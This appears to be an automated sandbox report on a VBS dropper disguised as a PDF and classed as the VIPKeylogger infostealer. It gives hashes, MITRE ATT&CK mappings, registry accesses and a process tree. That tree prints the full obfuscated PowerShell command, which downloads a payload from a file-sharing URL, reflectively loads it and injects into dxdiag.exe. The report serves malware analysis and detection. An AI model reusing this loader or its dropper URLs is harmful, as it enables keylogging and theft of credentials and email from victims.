vipkeylogger | e3dadda28d21c40c06bcfd1163b6b7d170689976d69a66985fa309197fb49850

General

Target

Scan12112024,pdf.vbs
Size

12KB
MD5

4e9b8807134dfb560b0eb3f0bf8705af
SHA1

086e955967a78b02bb006f3d2755dfc49c536990
SHA256

e3dadda28d21c40c06bcfd1163b6b7d170689976d69a66985fa309197fb49850
SHA512

62dc169e27636a9baee657969f0e678b582a6a4a4b595fb242b037be53ab70c410c241d2f3c0b22f64c1bf7ad429fabc6f2705042f43f53dabc13d0e1369e99b
SSDEEP

192:spKV/HwG/IUUtbeDQgGHOgy9w3Kjv3H03f7sbcS/7XQx74DGICrZOnips3SkvDA:fV4N//ICrZOnips3Sl

Score

10^/10

vipkeylogger collection discovery execution keylogger stealer

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

exe.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

Extracted

Family

vipkeylogger

Signatures

VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
stealer keylogger vipkeylogger
Vipkeylogger family
vipkeylogger

Blocklisted process makes network request 4 IoCs

Processes:

WScript.exepowershell.exe

flow	pid	Process
5	4752	WScript.exe
8	4752	WScript.exe
19	4808	powershell.exe
28	4808	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

Processes:

powershell.exepowershell.exe

pid	Process
4808	powershell.exe
4616	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WScript.exeWScript.exe

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	WScript.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

Processes:

dxdiag.exe

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	dxdiag.exe
Key opened	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	dxdiag.exe
Key opened	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	dxdiag.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow	ioc
30	checkip.dyndns.org

Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description	pid	Process	procid_target
PID 4808 set thread context of 4092	4808	powershell.exe	97

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

dxdiag.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dxdiag.exe

Modifies registry class 1 IoCs

Processes:

WScript.exe

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings	WScript.exe

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

Processes:

description	flow	ioc
HTTP User-Agent header	5	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	8	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 13 IoCs

Processes:

powershell.exepowershell.exedxdiag.exe

pid	Process
4616	powershell.exe
4616	powershell.exe
4808	powershell.exe
4808	powershell.exe
4092	dxdiag.exe
4092	dxdiag.exe
4092	dxdiag.exe
4092	dxdiag.exe
4092	dxdiag.exe
4092	dxdiag.exe
4092	dxdiag.exe
4092	dxdiag.exe
4092	dxdiag.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.exedxdiag.exe

description	pid	Process
Token: SeDebugPrivilege	4616	powershell.exe
Token: SeDebugPrivilege	4808	powershell.exe
Token: SeDebugPrivilege	4092	dxdiag.exe

Suspicious use of WriteProcessMemory 15 IoCs

Processes:

WScript.exeWScript.exepowershell.exepowershell.exe

description	pid	Process	procid_target
PID 1352 wrote to memory of 4752	1352	WScript.exe	83
PID 1352 wrote to memory of 4752	1352	WScript.exe	83
PID 4752 wrote to memory of 4616	4752	WScript.exe	87
PID 4752 wrote to memory of 4616	4752	WScript.exe	87
PID 4616 wrote to memory of 4808	4616	powershell.exe	89
PID 4616 wrote to memory of 4808	4616	powershell.exe	89
PID 4808 wrote to memory of 4092	4808	powershell.exe	97
PID 4808 wrote to memory of 4092	4808	powershell.exe	97
PID 4808 wrote to memory of 4092	4808	powershell.exe	97
PID 4808 wrote to memory of 4092	4808	powershell.exe	97
PID 4808 wrote to memory of 4092	4808	powershell.exe	97
PID 4808 wrote to memory of 4092	4808	powershell.exe	97
PID 4808 wrote to memory of 4092	4808	powershell.exe	97
PID 4808 wrote to memory of 4092	4808	powershell.exe	97
PID 4808 wrote to memory of 4092	4808	powershell.exe	97

outlook_office_path 1 IoCs

Processes:

dxdiag.exe

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	dxdiag.exe

outlook_win_path 1 IoCs

Processes:

dxdiag.exe

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	dxdiag.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Scan12112024,pdf.vbs"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1352
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\hxhxhhbaysvp.wsf"
  2⤵
  - Blocklisted process makes network request
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:4752
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiggJGVudjpDb01TcEVDWzQsMTUsMjVdLWpPSW4nJykoKCdOdGZpbWFnZVVybCA9IHBlTmh0dHBzOi8nKycvMTAxNy5maWxlbWFpbC5jb20vYXBpL2ZpbGUvZ2V0P2ZpbGVrZXk9MkFhX2JXbycrJzlSZXU0NXQ3QlUxa1Znc2Q5cFQ5cGdTU2x2U3RHcm5USUNmRmhtVEtqM0xDNlNRdEljT2NfJysnVDM1dyZwa18nKyd2aWQ9ZmQ0ZjYxNGJiMjA5YzYyYzE3MzA5NDUxNzZhMDkwNGYgcGVOO050ZndlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllJysnbnQ7TnRmaW1hZ2UnKydCeXRlcyA9IE50ZndlYkNsaWVudC5Eb3dubG9hZERhdGEoTnRmaW1hZ2VVcmwpO050ZmltYWdlVGV4dCA9IFtTeXN0ZW0uVGV4JysndC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKE50ZmltYWdlQnl0ZXMpO050ZnN0YXJ0RmxhZyA9IHBlTjwnKyc8QkFTRTY0X1NUQVJUPj5wZU47TnRmZW5kRmxhZyA9IHBlTjw8QicrJ0FTRTY0X0VORD4+cGVOO050ZnN0YXJ0SW5kZXggPSBOdGZpbWFnZVRleHQuSW5kZXhPZihOdGZzdGFydEZsYWcpO050ZmVuZEluZGV4ID0gTnRmaW1hZ2VUZXh0LkluZGV4T2YoTnRmJysnZW5kRmxhZyk7TicrJ3Rmc3RhcnRJbmRleCAtZ2UgMCAtYW5kIE50ZmVuZEluZGV4IC1ndCBOdGZzdGFydEluZGV4OycrJ050ZnN0YXJ0SScrJ25kZXggKz0gTnRmc3RhcnRGbGFnLkxlbmd0aDsnKydOdGZiYXNlNjRMZW5ndGggPSBOdGZlbmRJbmRleCAtIE50ZnN0YScrJ3J0SW5kZXg7TnRmYmFzZTY0Q29tbWEnKyduZCA9IE50ZmltYWdlVGV4dC4nKydTdWJzdHJpJysnbmcoTnRmc3RhcnQnKydJbmRleCwgTnRmYmFzZTY0TGVuZ3RoKTtOdGZiYXNlJysnNjRSZXZlcnNlZCA9IC1qb2luIChOdGZiJysnYXNlNjRDJysnb21tYW5kLlQnKydvQ2hhckFycmF5KCkgbUxoIEZvckVhY2gtT2JqZWN0IHsgTnRmXyB9KVstMS4uLShOdGZiYXNlJysnNjRDb20nKydtYW5kLkxlbmd0aCknKyddO050ZmNvbW1hbmRCeXRlcyA9JysnIFtTeXN0ZW0uQ29udmVydF0nKyc6OkZyb21CJysnYXNlNjRTdHJpbmcoTnRmYmFzZTY0UmV2ZXJzZWQpO050ZmxvYWRlZEFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChOdGZjb21tYW5kQnl0ZScrJ3MpOycrJ050ZnZhaU1ldGgnKydvZCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QocGVOVkFJcGVOKTtOdCcrJ2Z2YWlNZXRob2QuJysnSW52b2tlKE50Zm51bGwsIEAocGVOdHh0LkxTU1dTL2tsby91ZS5oc3Vwd3NyZWxsb3Iuc3VwLy86cHR0aHBlTicrJywgcGVOZGVzYScrJ3RpdmFkb3BlTiwgcGVOZGVzYXRpdmFkb3BlJysnTiwgcGVOZGVzYXRpJysndmFkb3BlTiwgcGVOZGVzYXRpdmFkb3BlTiwgcGVOMXBlTiwgcGVOZHhkaWFncGVOLCBwJysnZU5kZXNhdGl2YWRvcGVOLCBwZU5kZXNhdGl2YWRvcGVOLHBlJysnTmRlc2F0aXZhZG9wZU4scGVOZGVzYXRpdmFkb3BlTixwZU5kZXNhdGl2YWRvcGVOLHBlTjFwZU4scGVOZGVzYXRpdmFkb3BlTikpOycpLlJlcGxBQ0UoJ21MaCcsW3N0cmlOR11bQ2hhUl0xMjQpLlJlcGxBQ0UoKFtDaGFSXTExMitbQ2hhUl0xMDErW0NoYVJdNzgpLFtzdHJpTkddW0NoYVJdMzkpLlJlcGxBQ0UoKFtDaGFSXTc4K1tDaGFSXTExNitbQ2hhUl0xMDIpLFtzdHJpTkddW0NoYVJdMzYpKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4616
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "&( $env:CoMSpEC[4,15,25]-jOIn'')(('NtfimageUrl = peNhttps:/'+'/1017.filemail.com/api/file/get?filekey=2Aa_bWo'+'9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_'+'T35w&pk_'+'vid=fd4f614bb209c62c1730945176a0904f peN;NtfwebClient = New-Object System.Net.WebClie'+'nt;Ntfimage'+'Bytes = NtfwebClient.DownloadData(NtfimageUrl);NtfimageText = [System.Tex'+'t.Encoding]::UTF8.GetString(NtfimageBytes);NtfstartFlag = peN<'+'<BASE64_START>>peN;NtfendFlag = peN<<B'+'ASE64_END>>peN;NtfstartIndex = NtfimageText.IndexOf(NtfstartFlag);NtfendIndex = NtfimageText.IndexOf(Ntf'+'endFlag);N'+'tfstartIndex -ge 0 -and NtfendIndex -gt NtfstartIndex;'+'NtfstartI'+'ndex += NtfstartFlag.Length;'+'Ntfbase64Length = NtfendIndex - Ntfsta'+'rtIndex;Ntfbase64Comma'+'nd = NtfimageText.'+'Substri'+'ng(Ntfstart'+'Index, Ntfbase64Length);Ntfbase'+'64Reversed = -join (Ntfb'+'ase64C'+'ommand.T'+'oCharArray() mLh ForEach-Object { Ntf_ })[-1..-(Ntfbase'+'64Com'+'mand.Length)'+'];NtfcommandBytes ='+' [System.Convert]'+'::FromB'+'ase64String(Ntfbase64Reversed);NtfloadedAssembly = [System.Reflection.Assembly]::Load(NtfcommandByte'+'s);'+'NtfvaiMeth'+'od = [dnlib.IO.Home].GetMethod(peNVAIpeN);Nt'+'fvaiMethod.'+'Invoke(Ntfnull, @(peNtxt.LSSWS/klo/ue.hsupwsrellor.sup//:ptthpeN'+', peNdesa'+'tivadopeN, peNdesativadope'+'N, peNdesati'+'vadopeN, peNdesativadopeN, peN1peN, peNdxdiagpeN, p'+'eNdesativadopeN, peNdesativadopeN,pe'+'NdesativadopeN,peNdesativadopeN,peNdesativadopeN,peN1peN,peNdesativadopeN));').ReplACE('mLh',[striNG][ChaR]124).ReplACE(([ChaR]112+[ChaR]101+[ChaR]78),[striNG][ChaR]39).ReplACE(([ChaR]78+[ChaR]116+[ChaR]102),[striNG][ChaR]36))"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4808
    - - C:\Windows\SysWOW64\dxdiag.exe
        
        "C:\Windows\SysWOW64\dxdiag.exe"
        5⤵
        Accesses Microsoft Outlook profiles
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        outlook_office_path
        outlook_win_path
        
        PID:4092

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

Query Registry

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Email Collection

1

T1114

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
f41839a3fe2888c8b3050197bc9a0a05

SHA1
0798941aaf7a53a11ea9ed589752890aee069729

SHA256
224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

SHA512
2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
5caad758326454b5788ec35315c4c304

SHA1
3aef8dba8042662a7fcf97e51047dc636b4d4724

SHA256
83e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391

SHA512
4e0d443cf81e2f49829b0a458a08294bf1bdc0e38d3a938fb8274eeb637d9a688b14c7999dd6b86a31fcec839a9e8c1a9611ed0bbae8bd59caa9dba1e8253693

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_l00ugics.0qs.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\hxhxhhbaysvp.wsf

Filesize
1KB

MD5
7204c9eb7a0202a3eb5732158ac1e4a7

SHA1
b46404c81270dc41fe73c8b33503f08f4522c055

SHA256
6181ae6da5b4003eb057e75507fe7d91207a9ac255a0df96f4da7164f31d9a05

SHA512
bdaef419803778a1921ad3520e9680aebb2fb9f500db285f0985daadc9159e7a917f97a701c290e0e69aa9f12740bda0bc67707be88be2b0fe5d96366306880b

Download Submit
memory/4092-30-0x0000000003200000-0x000000000324E000-memory.dmp

Filesize
312KB

Download
memory/4092-26-0x0000000000400000-0x0000000000437000-memory.dmp

Filesize
220KB

Download
memory/4092-23-0x0000000000400000-0x0000000000437000-memory.dmp

Filesize
220KB

Download
memory/4092-31-0x0000000005F20000-0x00000000064C4000-memory.dmp

Filesize
5.6MB

Download
memory/4092-32-0x0000000003310000-0x000000000335E000-memory.dmp

Filesize
312KB

Download
memory/4092-33-0x00000000057B0000-0x000000000584C000-memory.dmp

Filesize
624KB

Download
memory/4092-34-0x00000000068A0000-0x0000000006A62000-memory.dmp

Filesize
1.8MB

Download
memory/4092-35-0x0000000006720000-0x0000000006770000-memory.dmp

Filesize
320KB

Download
memory/4092-36-0x0000000006FA0000-0x00000000074CC000-memory.dmp

Filesize
5.2MB

Download
memory/4092-37-0x0000000006D50000-0x0000000006DE2000-memory.dmp

Filesize
584KB

Download
memory/4092-38-0x0000000006B00000-0x0000000006B0A000-memory.dmp

Filesize
40KB

Download
memory/4616-3-0x000002795C4E0000-0x000002795C502000-memory.dmp

Filesize
136KB

Download
memory/4808-22-0x000001CE49580000-0x000001CE496D8000-memory.dmp

Filesize
1.3MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads